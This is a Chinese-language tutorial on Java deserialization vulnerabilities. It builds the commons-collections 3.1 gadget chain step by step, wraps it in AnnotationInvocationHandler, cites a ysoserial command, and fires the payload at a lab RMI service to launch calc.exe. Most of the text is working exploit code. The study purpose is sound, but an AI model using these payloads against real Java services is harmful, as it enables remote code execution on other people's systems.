浅显易懂的JAVA反序列化入门

2019-04-10 约 6381 字 预计阅读 13 分钟

声明:本文 【浅显易懂的JAVA反序列化入门】 由作者 四季豆 于 2019-04-10 09:45:00 首发 先知社区 曾经 浏览数 19 次

感谢 四季豆 的辛苦付出!

  1. 0x00前言

因为我平时打CTF的时候遇到的web大部分都是php的代码,php环境搭建也十分的方便。所有在刚刚接触到java反序列化漏洞的时候也不知道怎么下手,因为两者差别还是比较大,所以希望自己的见解能够对刚接触这块的人有所帮助
我的源码和笔记Github地址在文章的最后

  1. 0x01我了解JAVA发序列化的过程

最开始看java反序列化的文章是比较难懂的,即使能把别人的例子拿来运行成功了,但是还是没有把要领装入脑袋中。我学习这方面的步骤如下,希望有所帮助
1.先了解下JMX是什么,明白本地java虚拟机如何运行远程的java虚拟机的代码,
2.了解RMI是什么,明白RMI和JMX的异同之处,
3.了解java反射的机制
4.了解java的反序列化commons-collections-3.1漏洞
5.再把commons-collections-3.1的反序列化运用在远程的RMI服务器上

这篇文章讲述的内容是
本地运行commons-collections-3.1的反序列化
构造commons-collections-3.1的序列化的代码
启动rmi服务,利用commons-collections-3.1的反序列化

  1. 0x02 java反射简介

先看在java中执行系统命令的方法

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().exec("notepad.exe");
    }
}

该代码会运行并打开windows下的记事本
它正常的步骤是

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("notepad.exe");
    }
}

那么相应的反射的代码如下

import java.lang.reflect.Method;

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
    Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}
getMethod(方法名, 方法类型)
invoke(某个对象实例 传入参数)

这里第一句Object runtime =Class.forName("java.lang.Runtime")的作用
等价于 Object runtime = Runtime.getRuntime()
目的是获取一个对象实例好被下一个invoke调用

第二句Class.forName("java.lang.Runtime").xxxx的作用就是调用上一步生成的runtime实例的exec方法,并将"notepad.exe"参数传入exec()方法

  1. 0x03 JAVA反序列化的操作函数

ObjectOutputStream类的writeObject(Object obj)方法,将对象序列化成字符串数据
ObjectInputStream类的readObject(Object obj)方法,将字符串数据反序列化成对象
测试代码

import java.io.*;

public class Serialize {
    public static void main(String[] args) throws Exception{
        //要序列化的数据
        String name = "sijidou";

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(name);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

把刚刚的执行操作的代码进行序列化和反序列化

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Serialize2 {
    public static void main(String[] args) throws Exception{
        //要序列化的数据
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
        //Object evil = Runtime.getRuntime().exec("notepad.exe");

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(evil);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

用反射生成的Object对象不会被触发,但是在被反序列化的Object result =objectInputStream.readObject();时候会被触发

  1. 0x04 commons-collections-3.1反序列化漏洞

代码在远程调用前,要明白本地是如何实现的,这个时候DEBUG是个非常棒的东西
首先漏洞组件的下载地址:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
网上很多都拿这个反序列漏洞来讲解java反序列化的知识点,我这里就拿一个payload,代码如下

public class ApacheSerialize {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

这里涉及到了3个比较重要的对象InvokerTransformer``ChaniedTransformerTransformedMap
首先看看InvokerTransformer,它是执行恶意代码的主要问题所在

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}
```java
可以看到它利用了反射进行调用函数Object是传进来的参数,`this.iMethodName`,`this.iParamTypes``this.iArgs`是类中的私有成员

这反射类比下正常的调用就是如下形式

```java
input.(this.iMethodName(<this.iParamTypes[0]> this.iArgs[0], <this.iParamTypes[1]> this.iArgs[1]))

input是类名, this.iMethodName是方法名, 之后的this.iParamTypes是参数类型,this.iParamTypes是参数的值
查看3个私有变量传进来的方式,是利用的构造函数,即在new的时候,把参数代入到私有成员

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

因此我在payload中第一部生成的transformers数组的效果等价于

transformers[1]
input.getMethod("getRuntime", null)

transformers[2]
input.invoke(null, null);

transformers[3]
input.exec("calc.exe");

input是后面调用transform(Object input)的传参,但是这3个明显是闲散的,我们的目的是把它们组合起来

这时候就是要靠ChaniedTransformer
看一下ChainedTransformer类的transform方法

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

是一个反复的循环调用,后面一个transformers调用前面一个tranformers的返回值,并且会遍历一遍数组里面的所有值
再看看之前构造的chainedTransformer对象里面的内容

[0]是ConstantTransformer对象它会返回new时候的参数中的Object对象这里也是就是"java.Runtime"
[1]-[3]是InvokerTransformer对象调用的是反射的代码

最后看能带有触发这个攻击链的方法的对象TransformedMap
利用 Map.Entry取得第一个值,调用修改值的函数,会触发下面的setValue()代码

public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }

而其中的checkSetValue()实际上是触发TransoformedMap的checkSetValue()方法,而此次的this.valueTransformer就是ChianedTransformer类,之后就会触发漏洞利用链

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

回到整体的payload的中的参数
payload中的利用反射的结构是这样的

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),

    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

因为我JAVA不是太熟悉,理解了好久,这里简述下我的理解,InvokerTransformer的构造函数如下

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

第一个是字符串,是调用的方法名,第二个是个Class数组,带的是方法的参数的类型,第三个是Object数组,带的是方法的参数的值

getMethod举例

第一个参数"getMethod"是这个函数的名字

第二个参数new Class[]{String.class, Class[].class}getMethod的2个参数参数类型,一个是String,一个是class[]

第三个参数new Object[]{"getRuntime", new Class[0]}getMethod的2个参数值,一个是getRuntime,一个是空,因为是数组形式所以要这么写

上面这个组合起来相当于 getMethod(\<String\> "getRuntime", \<Class[]\> null)
整理一下思路

ChianedTransformer可以理解为一个数组容器
ChianedTransformer里面装了4个transform
TransoformedMap绑定了ChiandTransformer

step1 : 利用TransoformedMap的setValue触发ChianedTransformer的transform

step2 : ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法

step3 : 第一次循环调用ConstantTransformer("java.Runtime")对象的transformer调用参数为"foobar"(正常要修改的值)结果无影响

step4 : 第二次循环调用InvokerTransformer对象getMethod("getRuntime",null)方法参数为("java.Runtime")会返回一个Runtime.getRuntime()方法
相当于生产一个字符串但还没有执行"Rumtime.getRuntime();"

step5 : 第三次循环调用InvokerTransformer对象Invoke(null,null)方法参数为Runtime.getRuntime()那么会返回一个Runtime对象实例
相当于执行了该字符串Object runtime = Rumtime.getRuntime();

step6 : 第四次循环调用InvokerTransformer对象exec("clac.exe")方法,参数为一个Runtime的对象实例会执行弹出计算器操作
调用了对象的方法runtime.exec("clac,exe")

至此已经能够触发漏洞了,之后还会执行什么步骤无关紧要了

  1. 0x05 payload实现

上面的代码只是作为一段小脚本执行了,但是没有被用来通过网络传输payload,然后被反序列化利用,并且还要满足被反序列化之后还会改变map的值等总总因素的影响,假设一个理想的情况如下

public class ApacheSerialize2 implements Serializable {
    public static void main(String[] args) throws Exception{
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
         };
         Transformer transformerChain = new ChainedTransformer(transformers);

         Map map = new HashMap();
         map.put("value", "sijidou");
         Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

         //序列化
         FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
         objectOutputStream.writeObject(transformedMap);
         objectOutputStream.close();

         //反序列化
         FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
         ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
         Map result = (TransformedMap)objectInputStream.readObject();
         objectInputStream.close();
         System.out.println(result);

         Map.Entry onlyElement = (Map.Entry) result.entrySet().iterator().next();
         onlyElement.setValue("foobar");

该情况可以触发,但是现实中往往不一定存在把数据反序列化后,再调用其中TransformedMapMap.Entry类型的setValue方法

在java中,自带的类中还有一个类叫做AnnotationInvocationHandler

该类中重写的readObject方法在被调用时会将其中的map,转成Map.Entry,并执行setValue操作,那么能把TransformedMap装入这个AnnotationInvocationHandler类,再传过去,就可以不用考虑之后代码是否执行setValue就可以直接利用漏洞了

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

setValue的点在这一行

var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

最后利用的payload如下

package Serialize2;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class ApacheSerialize2 implements Serializable {
    public static void main(String[] args) throws Exception{
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
         };
         Transformer transformerChain = new ChainedTransformer(transformers);

         Map map = new HashMap();
         map.put("value", "sijidou");
         Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

         Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
         ctor.setAccessible(true);
         Object instance = ctor.newInstance(Target.class, transformedMap);

         //序列化
         FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
         objectOutputStream.writeObject(instance);
         objectOutputStream.close();

         //反序列化
         FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
         ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
         Object result = objectInputStream.readObject();
         objectInputStream.close();
         System.out.println(result);

    }
}

能够直接触发

为什么jdk为1.8就无法这么利用了,看jdk1.8的AnnotationInvocationHandler源码,readObject中在jdk1.7的setValue已经变成了

var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

在jdk1.8下不能触发

ysoserial的包里面也有commons-collectons-3.1的payload,它利用的是jdk中的BadAttributeValueExpException这个类重写readObject来实现的
该项目的GitHub地址https://github.com/frohoff/ysoserial
ysoserial的使用方法

java -jar ysoserial.jar CommonsCollections5 calc.exe > 1.txt

把1.txt 里面的内容反序列化化即可触发生成calc.exe的命令

  1. 0x06 RMI简介

RMI(Remote Method Invocation),远程方法调用
JNDI(Java Naming and Directory Interface),Java 命名与目录接口
JNDI是注册表可以包含很多的RMI,举个例子就JNDI像个本子,RMI像本子上的记录,客户端调用RMI记录的时候会先去JNDI这个本子,然后从本子上找相应的RMI记录

性质
与JMX服务器之间的通信使用的协议就是rmi协议
rmi可以传输序列化的数据

传输原理

1.客户端 => 客户端本地的stub类
2.客户端本地的stub类把信息序列化 => 服务器端的skeletons类
3.服务器端的skeletons类把信息反序列化 => 服务器端的对应类进行处理
4.服务器端对应类处理完后 => 服务器端的skeletions类
5.skeletions类序列化数据 => 客户端本地的stub类
6.客户端本地的stub类把数据反序列化 => 客户端

但在java 1.2版本后免去了3、5的步骤,直接在对应的类上进行序列化和反序列化

  1. 0x07 RMI服务器实现

首先定义一个User接口,这个接口和普通接口不一样在于要抛出RemoteException的异常

package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote{
    String name(String name) throws RemoteException;
    void say(String say) throws RemoteException;
    void dowork(Object work) throws RemoteException;
}

接着实现该接口的各种函数的UserImpl类,实现的类也要抛出RemoteException的异常

package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User{

    public UserImpl() throws RemoteException{
        super();
    }
    @Override
    public String name(String name) throws RemoteException{
        return name;
    }
    @Override
    public void say(String say) throws  RemoteException{
        System.out.println("you speak" + say);
    }
    @Override
    public void dowork(Object work) throws  RemoteException{
        System.out.println("your work is " + work);
    }
}

最后是启动这个服务

package RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class UserServer {
    public static void main(String[] args) throws Exception{
        String url = "rmi://10.10.10.1:4396/User";
        User user = new UserImpl();
        LocateRegistry.createRegistry(4396);
        Naming.bind(url,user);
        System.out.println("the rmi is running ...");
    }
}

LocateRegistry.createRegistry(4396)把4396端口号在JNDI中注册,将开启RMI的服务的端口
Naming.rebind()来实现将类和端口版本,开放出去

运行后,就会在4396端口进行监听

  1. 0x08 通过RMI服务器运行commons-collectons-3.1反序列化漏洞

这个RMI的问题在于,它的void dowork(Object work)函数接收了Object类型

public void dowork(Object work) throws  RemoteException{
        System.out.println("your work is " + work);
    }

而我们的把攻击链生成的payload也是Object类型,因此可以通过该点传入触发漏洞
在jdk1.7,并且服务器上有commons-collectons-3.1的情况下,运行下面payload弹出计算机

package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class UserClient {
    public static void main(String[] args) throws Exception{
        String url = "rmi://10.10.10.1:4396/User";
        User userClient = (User)Naming.lookup(url);

        System.out.println(userClient.name("sijidou"));
        userClient.say("world");
        userClient.dowork(getpayload());
    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

在jdk1.8下会失败

那么利用之前的ysoserial生成的1.txt,来触发jdk1.8的漏洞

package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class UserClient2 {
    public static void main(String[] args) throws Exception{
        String url = "rmi://10.10.10.1:4396/User";
        User userClient = (User) Naming.lookup(url);

        System.out.println(userClient.name("sijidou"));
        userClient.say("world");
        userClient.dowork(getpayload());
    }
    public static Object getpayload() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        return objectInputStream.readObject();
    }
}

成功弹出计算器

  1. 结语
    源码和笔记
    JMX:https://github.com/SiJiDo/JMX-
    RMI:https://github.com/SiJiDo/RMI-simple-notes
    JAVA反序列化:https://github.com/SiJiDo/JAVA-Serialize-vuln
    参考文章
    https://www.jianshu.com/p/a947717ded70
    https://blog.csdn.net/lmy86263/article/details/72594760
    http://www.importnew.com/20344.html
    https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
    https://www.cnblogs.com/ysocean/p/6516248.html
    https://www.freebuf.com/vuls/170344.html
    https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
    https://www.cnblogs.com/luoxn28/p/5686794.html
    https://security.tencent.com/index.php/blog/msg/97
    https://p0sec.net/index.php/archives/121/
    https://xz.aliyun.com/t/4558

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now